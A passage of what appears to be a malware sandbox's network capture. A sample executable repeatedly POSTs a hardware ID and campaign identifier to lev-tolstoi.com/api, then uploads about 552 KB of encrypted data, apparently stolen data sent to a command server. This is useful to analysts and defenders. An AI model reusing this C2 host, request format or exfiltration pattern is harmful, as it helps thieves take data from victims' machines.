name="hwid"EAF0929E89E63B7BAC8923850305D13E--1DDP9JUQContent-Disposition: form-data; name="pid"3--1DDP9JUQContent-Disposition: form-data; name="lid"PsFKDg--pablo--1DDP9JUQContent-Disposit
2024-12-23 05:53:25 UTC	4572	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 f6 3d 72 d7 62 f5 Data Ascii: 2+?2+?o?Mp5p_oI=rb
2024-12-23 05:53:26 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gk6g4lg2gbt2q2c7kaj9f085eu; expires=Thu, 17 Apr 2025 23:40:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ofWDar6XFDADoTohKKwCcMKhZ6Eqml1Y6wZxvlvO7D8Euj5aCyDBghfdVlJ7Z4bAqt6eu2pYr%2B8nB74wWAPMdNIykF5PbI9%2FlvgZ8Y3bMDuB7xxewawsTvELL4PA7cUDtY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6617576d484270-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1571&rtt_var=641&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2836&recv_bytes=20854&delivery_rate=1642294&cwnd=225&unsent_bytes=0&cid=593bb5a7b20f6d05&ts=973&x=0"
2024-12-23 05:53:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 05:53:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49731	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:27 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 46 67 64 39 45 54 46 7a 34 55 65 53 47 67 47 59 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 30 30 66 66 61 66 32 38 35 63 39 61 61 66 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Fgd9ETFz4UeSGgGY.1Context: d00ffaf285c9aaf8
2024-12-23 05:53:27 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:53:27 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 46 67 64 39 45 54 46 7a 34 55 65 53 47 67 47 59 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 30 30 66 66 61 66 32 38 35 63 39 61 61 66 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Fgd9ETFz4UeSGgGY.2Context: d00ffaf285c9aaf8<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:53:27 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 46 67 64 39 45 54 46 7a 34 55 65 53 47 67 47 59 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 30 30 66 66 61 66 32 38 35 63 39 61 61 66 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Fgd9ETFz4UeSGgGY.3Context: d00ffaf285c9aaf8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-23 05:53:28 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:53:28 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 59 2f 57 2f 2f 39 38 76 74 45 2b 46 53 62 2f 37 43 42 4c 6a 4f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Y/W//98vtE+FSb/7CBLjOQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49733	104.21.66.86	443	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:28 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OJNKCERLA5WGQN15GVQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1229 Host: lev-tolstoi.com
2024-12-23 05:53:28 UTC	1229	OUT	Data Raw: 2d 2d 4f 4a 4e 4b 43 45 52 4c 41 35 57 47 51 4e 31 35 47 56 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 46 30 39 32 39 45 38 39 45 36 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 4a 4e 4b 43 45 52 4c 41 35 57 47 51 4e 31 35 47 56 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 4a 4e 4b 43 45 52 4c 41 35 57 47 51 4e 31 35 47 56 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --OJNKCERLA5WGQN15GVQContent-Disposition: form-data; name="hwid"EAF0929E89E63B7BAC8923850305D13E--OJNKCERLA5WGQN15GVQContent-Disposition: form-data; name="pid"1--OJNKCERLA5WGQN15GVQContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-23 05:53:28 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vcot6ulmt4euj9mdbmnd91gvg4; expires=Thu, 17 Apr 2025 23:40:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2WW7fjuS5JQXNec05ZdSN%2FuFoYFnZGFWV%2FFqw%2BxZSVglNxqlom606z2LazhqxAr2k1RJbaJiU54cBLJCT%2FQSxsffUSoVhQ0fRQsC6kT4qDXMCZ3zqjlpccCOOTPwdnA7OWQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f661767d8c4c3eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1994&min_rtt=1709&rtt_var=844&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2146&delivery_rate=1708601&cwnd=240&unsent_bytes=0&cid=8b4e383db369a04c&ts=766&x=0"
2024-12-23 05:53:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 05:53:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49740	104.21.66.86	443	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:30 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CV1FEALCHT98SBZJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552372 Host: lev-tolstoi.com
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: 2d 2d 43 56 31 46 45 41 4c 43 48 54 39 38 53 42 5a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 46 30 39 32 39 45 38 39 45 36 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 56 31 46 45 41 4c 43 48 54 39 38 53 42 5a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 56 31 46 45 41 4c 43 48 54 39 38 53 42 5a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 43 56 Data Ascii: --CV1FEALCHT98SBZJContent-Disposition: form-data; name="hwid"EAF0929E89E63B7BAC8923850305D13E--CV1FEALCHT98SBZJContent-Disposition: form-data; name="pid"1--CV1FEALCHT98SBZJContent-Disposition: form-data; name="lid"PsFKDg--pablo--CV
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: f9 32 f9 86 e5 c2 02 fa 15 3a 26 d3 ca 14 92 6d d3 d8 77 56 02 61 e8 3c ac b5 67 b9 86 8d 91 8f db 07 24 d3 7e 55 ba 0d 57 0a 7e 7a 8b 8c 70 d9 10 31 81 fb 69 76 2e c7 33 ea 4f 56 ac f9 fe d8 54 e9 06 cb 39 9d 66 8a 5f 52 d8 a5 5f bc 4d aa ad 12 da 0b e0 c6 44 6f c2 94 81 94 e0 d5 a8 e6 6a 4d c4 4c 61 23 b4 79 09 cc 22 b7 46 a3 88 9d ad 0d c2 ea 27 5d 92 32 8b a6 fd b2 46 7d 29 75 0f 57 4e 7e 3e 01 92 d3 c3 b8 d4 e7 a0 ef 59 91 6e 83 8c 7b 60 81 ab 3e 56 8d 3e 2b 09 be b3 4b 39 ff ce b1 d6 ad f4 c0 2b de 25 bd 32 f0 9a 7f 53 b1 11 96 3f cd b7 a9 29 8f ee d2 82 6b 03 f6 45 43 0c 34 6b 26 a9 56 67 84 90 6f 07 36 7f a3 4c 49 e0 d9 fc 85 0b ec e7 63 9d 13 06 9a df 94 eb d9 a8 c6 ed 88 f9 9f 65 53 5e 2a 29 a5 b4 ca cf 96 ed 60 29 b4 bb ff dd 71 46 12 fa ca 7d Data Ascii: 2:&mwVa<g$~UW~zp1iv.3OVT9f_R_MDojMLa#y"F']2F})uWN~>Yn{`>V>+K9+%2S?)kEC4k&Vgo6LIceS^*)`)qF}
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: d3 47 3c 58 7c 32 5a d2 09 4b 71 cb b6 4d c1 3f 95 b3 c1 b7 66 1f ec c4 a7 be 50 d7 c7 aa 8e d0 8a 0d 67 4b 86 06 b5 be f0 3c a9 40 1c 08 89 99 fe fe 35 cb 03 38 14 d8 47 44 f4 11 cf 1a 4b 78 08 34 a5 50 31 0f b7 83 83 04 17 c6 98 1f e7 c2 3e c9 f1 6c bb e5 7e b3 d3 86 46 c4 5e 39 10 0a b1 92 ca 6f 2c b4 0d 19 2f 62 89 8a c1 31 1a ad 7b 64 2e 01 8b 37 3b be f3 87 a7 f5 bb 3f 18 b7 d7 6e 18 4d 17 77 db 3e b7 f5 f8 aa 31 5d cb 6a a9 7d e3 33 a4 a1 42 23 63 e1 ee 41 96 ca 34 23 af 4a bb 9a 5e 1f fd 3d 2f 68 de 79 fa a9 63 da d3 e0 11 69 f1 37 56 b6 be 56 db b5 36 5b d7 11 94 51 5a e3 27 71 c7 7d 6f 62 48 ed 71 60 66 40 31 c2 0d c3 80 b8 76 a2 54 f7 b9 3e 7b f3 b5 24 6b 15 2c e9 e2 16 86 6e a3 c1 b0 24 00 81 01 ff 02 9a e0 64 9a 86 3d 58 6a 68 51 71 d5 06 bf Data Ascii: G<X\|2ZKqM?fPgK<@58GDKx4P1>l~F^9o,/b1{d.7;?nMw>1]j}3B#cA4#J^=/hyci7VV6[QZ'q}obHq`f@1vT>{$k,n$d=XjhQq
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: 7b f7 ef ff ff e1 e6 09 20 5f 1c af f9 13 a2 64 e9 a5 22 a1 0c 21 e6 ad 34 90 e8 ef 7f eb 5e 16 e2 50 24 b2 e7 92 e2 b0 fa 37 40 d8 4b b4 c4 bc c4 12 bf 4c ca 2d 70 83 33 3f a1 25 af 5d 42 71 e5 dc d0 0e 11 d6 8f a0 36 18 e9 89 01 ca 7d 27 e6 a6 8a 2c f5 e6 92 8a 56 91 e8 1c bf fc 32 9c 64 68 b0 f0 0d ef 56 2a 40 db 87 b1 ee ff 8e 8a 71 e6 65 4e 6d 64 1e ce 7f bd de dd 0a 5c 3c df 4a 80 f0 a2 53 e1 4b ed 79 bf 32 ee dd 68 63 db 76 0a d8 f6 7b b2 65 7b 52 84 8c 93 8d a6 22 9d 0d 49 32 59 f2 45 25 80 55 16 79 d1 17 b7 69 24 b4 30 5d be a0 28 71 4a c6 c2 26 c4 93 e7 50 4e cb 04 c8 c5 e7 c7 23 f8 8d 63 49 b3 db a7 df ec e3 d4 a2 4a db 3d c1 33 da d7 c6 ec dc a0 c4 6e 1f 02 37 9e ab ca 84 2b 8d d0 cf ea 6b a2 b2 16 8b 0f d1 ca 25 58 8a 22 7b d6 1a 1e 11 2f 4c Data Ascii: { _d"!4^P$7@KL-p3?%]Bq6}',V2dhV*@qeNmd\<JSKy2hcv{e{R"I2YE%Uyi$0](qJ&PN#cIJ=3n7+k%X"{/L
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: 27 b2 70 c1 15 b5 32 84 d8 2c 5c 4c 19 bd ee 33 e9 d8 d8 d2 65 88 90 f3 0e 9d 36 2f 5d 6b 8d 27 b9 c3 06 35 99 d3 d1 8f ea 90 90 cf c3 33 37 48 a4 d6 6b f3 91 93 bd 12 5a 24 1b 12 3d 39 45 84 2d 52 7b 76 01 13 f0 da 3f 82 3a bd 67 f6 a1 96 b0 a9 c1 5a ef 4d c1 cd 9d d6 dd e3 9d ce 1d 7a 89 20 d8 2a 15 66 2b 73 1b be 21 92 4b 8e 0d 59 38 44 1c 6d 71 68 dc 0d a2 f4 a5 5a b7 76 aa cd 29 20 96 75 a1 3f b1 7f fa a5 0e f8 d1 db 10 a3 ca 79 2f a3 d4 14 9b f0 4c 75 d1 97 27 39 36 8b f6 2d 52 9f 49 6a d7 67 7f fe 53 48 cd 78 89 5a b3 7e d7 71 c3 32 a5 54 34 bd bd a1 84 77 3e 8d 3a 75 c5 2e 71 de 8f d7 90 b7 57 2a d0 3a 20 92 b2 4c 5c f5 2a d1 df 9e b8 7c 85 77 ef 6a d5 40 f0 c0 d9 19 d8 ef 4e 7f 09 c7 3c a7 6a 42 78 0a 46 94 c0 bd 49 42 1a 04 f4 bf 87 bb 9e ce 3a Data Ascii: 'p2,\L3e6/]k'537HkZ$=9E-R{v?:gZMz f+s!KY8DmqhZv) u?y/Lu'96-RIjgSHxZ~q2T4w>:u.qW: L\*\|wj@N<jBxFIB:
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: 34 b1 a9 86 9a ad aa e9 64 82 74 5c 27 1d 6d e5 63 2f 4c a6 b0 ee f4 42 43 16 89 38 1d f7 e0 e8 8d 1b bd 08 40 ba aa 75 6f 88 72 4c 95 38 59 c2 a6 30 5b 99 e0 50 20 0b b6 0e 0c c7 40 b9 02 e0 4b 76 57 d1 6a 3a a4 ef 0c 58 e2 a4 24 34 2a 37 ad 11 c4 ca 8b 02 f9 3f 2f 71 f2 40 96 19 fb e4 67 ec 14 0e 36 6b c7 81 7c 7d 54 74 b2 95 81 43 a9 50 e0 50 44 6e 1a 5f 34 72 18 8d 99 b5 ae a1 cd 91 16 6c e1 46 1e 62 27 60 63 3b 0f 7c cc d7 a8 76 39 8b bc 20 00 ff b2 cc ad 4d ae ba c4 29 f9 88 3d 4d 17 16 bb 2c 10 f3 7d 74 e7 cc e5 67 96 f2 bd 17 a6 ec d1 b1 bc 19 4d 53 6a a6 ac 7e ba 06 e6 3f af d5 bd 37 81 8f fd 80 68 72 2b a8 9b ad 6b bc e6 32 88 77 c7 c2 1b d9 7d f7 dc 0f 8c ca c1 91 8a a4 33 00 99 e0 15 17 03 b9 dc ab 7e 63 63 1f 48 57 89 a4 13 14 8a 1c b2 0b 3b Data Ascii: 4dt\'mc/LBC8@uorL8Y0[P @KvWj:X$4*7?/q@g6k\|}TtCPPDn_4rlFb'`c;\|v9 M)=M,}tgMSj~?7hr+k2w}3~ccHW;
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: e6 90 3e 63 90 9d 3e 52 da ca cb 30 f4 5f 88 5b 5f 1c 51 d8 66 b9 e1 5f 5e 5c 62 6c 53 d6 29 16 5e 41 4d 7f ce ac 14 e5 be 9a 4c a2 48 69 6b fc 12 d5 2e 48 e0 44 77 7d 9b 37 b6 0c b6 14 04 6b 73 35 5b 0d 5e 59 6e 69 55 26 a1 14 21 e0 24 a5 6d bb f8 01 c2 41 f4 9e ff 5b 11 1a be e3 d7 15 7e fa 50 97 ac 51 7e d5 fa 8e 63 a5 6e e7 27 04 16 b6 0a 31 21 d6 c4 cd 06 b2 2e 1e 5b 04 ef 54 9e 33 c5 45 c6 68 5e 23 12 9b 5a 19 f7 60 bf 5b 1c 68 ff df 5a 41 59 09 14 f7 7d a2 51 c0 18 ad 0a 51 03 cf d0 5d e0 84 48 2a df f6 b7 31 5a 0a 6f f2 7e 24 e5 f1 14 7e f4 35 d6 26 33 fd 29 3c 1c 02 39 f9 f8 2f 22 ac 12 c0 f8 c1 f8 36 48 0e 7c a3 c0 87 58 8b ab 9e 7a 40 f8 c1 2c 10 b3 a7 96 34 9b 5b 11 82 cf 97 45 a3 0b b9 32 17 e2 06 d4 d3 b0 0c 02 c2 ad 2b a8 cc 8b 26 e7 18 6a Data Ascii: >c>R0_[_Qf_^\blS)^AMLHik.HDw}7ks5[^YniU&!$mA[~PQ~cn'1!.[T3Eh^#Z`[hZAY}QQ]H*1Zo~$~5&3)<9/"6H\|Xz@,4[E2+&j
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: d1 5c a7 e6 58 84 da 9e f3 91 db e1 db 8b c1 d8 b1 6a dd c8 20 34 43 94 21 3c 51 62 93 e0 b3 6d c7 cc fc 50 7d d7 79 0a 6e a6 8a fa 47 c8 6c d7 d0 ad 17 76 85 06 ec 3c 73 6c 10 17 35 2c fa fb 75 24 b6 89 c7 61 bd 12 c2 75 f7 31 d2 c4 83 c1 0f 68 e1 d0 98 55 32 b7 61 8a 0c 17 07 63 8e 0b ef 62 b1 0c e6 73 be 79 d1 bf 07 f2 e0 d3 b9 35 9c f7 22 4b 59 f6 89 54 0d 5d a5 44 6f ba ac cd 57 03 6e 89 ef 2d 59 61 89 0a bd 8f 6d 6f 5b 2d f2 e1 74 7f 71 93 8b bc 3b 89 fb b9 e1 73 73 71 23 7a a9 4d 5e a1 ba 76 bb 68 db eb 24 f1 e3 01 75 7c 24 15 f8 47 04 ab f2 2a be 96 61 74 88 d8 d2 4c 1a a3 b4 2b 73 89 05 7c b8 fe 8b 2e 86 fe a4 9b 10 8e 2a e3 e0 9f ed ec 14 83 15 b2 35 b2 94 cc 21 6a e6 3a b5 4d bc c6 07 ed 03 44 44 a0 8b b8 7c e4 94 52 7b 2a b6 77 55 b6 3f 62 bb Data Ascii: \Xj 4C!<QbmP}ynGlv<sl5,u$au1hU2acbsy5"KYT]DoWn-Yamo[-tq;ssq#zM^vh$u\|$GatL+s\|.5!j:MDD\|R{*wU?b
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: 4c 4a 6a dd 1f 13 75 53 3f b2 f2 cc 69 aa d0 7f 5c e2 24 84 e6 cb c8 5a a1 e8 e5 b1 01 a5 b1 fe 07 27 1d 5d e0 45 67 95 c8 a9 46 8a b9 4b b1 ba 6b b4 fa 70 eb d6 0b 5e d0 b8 aa 65 ef 76 b9 c8 bd ef 89 8c 74 2b 8b 07 11 a3 55 f7 f7 47 ae e4 11 ee f4 6d ec a9 0d aa b6 d9 83 e9 57 b7 c7 93 12 d9 f8 1a 73 06 91 4b 82 c9 79 90 f8 31 65 95 92 7d 1a a9 6a 39 4d 96 62 22 22 4b bb b6 35 3a ed 50 8b d6 96 6f 5d a2 6a 35 aa 24 24 35 5b 91 6b 28 2c b2 3c 7d 54 9c 12 84 16 4a 1a f1 71 a5 72 51 91 09 dc aa ef 8e f8 83 5e a2 db 78 42 1a 93 b6 3d 87 a5 9f 76 d3 3e 51 f9 e7 5a f2 01 38 54 94 27 2b 3d a7 34 b2 e0 16 1a d1 81 86 97 ba ff 53 7a c6 60 8b 2e f3 f3 de 1b 23 ba 20 55 89 60 f4 ff 36 80 ad 5b b3 7a e5 40 fb 83 ca 13 ff 5c 52 91 dc a4 f9 c2 16 f5 4e c8 f0 fa 25 55 Data Ascii: LJjuS?i\$Z']EgFKkp^evt+UGmWsKy1e}j9Mb""K5:Po]j5$$5[k(,<}TJqrQ^xB=v>QZ8T'+=4Sz`.# U`6[z@\RN%U
2024-12-23 05:53:30 UTC	15331	OUT	Data Raw: 77 c6 e5 bc ae 16 5d fe d3 8a 9d 2d c5 76 6d 4b 26 11 d6 68 58 2b 8d 93 93 fd ae 12 b7 2a 53 7a 47 b2 d2 d1 30 2a 1c 75 2d 9a 2e cb 0d 4c 13 d6 e1 e8 6f 5f b3 bf 95 d1 03 c1 99 70 de 20 53 34 49 bf 11 7a 66 dd 32 d3 5a 8d ed 57 4f c2 53 0b 37 fd 52 d9 b7 ec 08 ac f1 5b 12 bb 54 65 29 ec d6 f7 58 36 f6 96 5a 80 0d 1c 81 8a 44 c1 ca 5f 36 e5 1c 27 5d 50 0b 73 18 f8 99 3a 9f d8 f7 3d c3 0b 1a 30 ba 61 bd 81 70 02 34 3c 84 f7 ed ba 7a 37 b7 76 3d 98 fd d7 a6 86 4f 46 fa 1a 99 69 12 b6 0d 8e a6 ec fa 6f ca 7d d5 ce 61 77 81 fd 73 5d 72 a4 65 37 22 f5 d7 3c 2c 81 e8 3c de 12 17 5a 63 99 ef e2 84 83 86 9d b1 24 37 06 1c be e7 60 e3 a2 48 47 ff d7 97 4a 29 5c 6d fc 9b 1d d4 34 a5 94 7f ad b6 0d 54 06 f2 c7 cc 33 dd c2 fb 7c 90 2d b5 65 68 6c df 3f d4 ac fd b1 3f Data Ascii: w]-vmK&hX+SzG0u-.Lo_p S4Izf2ZWOS7R[Te)X6ZD_6']Ps:=0ap4<z7v=OFio}aws]re7"<,<Zc$7`HGJ)\m4T3\|-ehl??
2024-12-23 05:53:32 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a8lpkudosl9umd9lcdf4f1ug8t; expires=Thu, 17 Apr 2025 23:40:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=axAT3%2BW1K%2FI4uuhFn6JMFCr2bG9cUcD0DalmilWQd3OUY1u0g3G1KEMPGVH%2BAHbGOb411ywuhp%2Fif0MhiWtGhODARVbb245%2Ft7WJ72JXpsdYwvxvLcHJ55TrW6AeFxfp%2B40%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6617778cd643b6-EWR alt-svc: h3=":443"; ma=86400 server-timing: 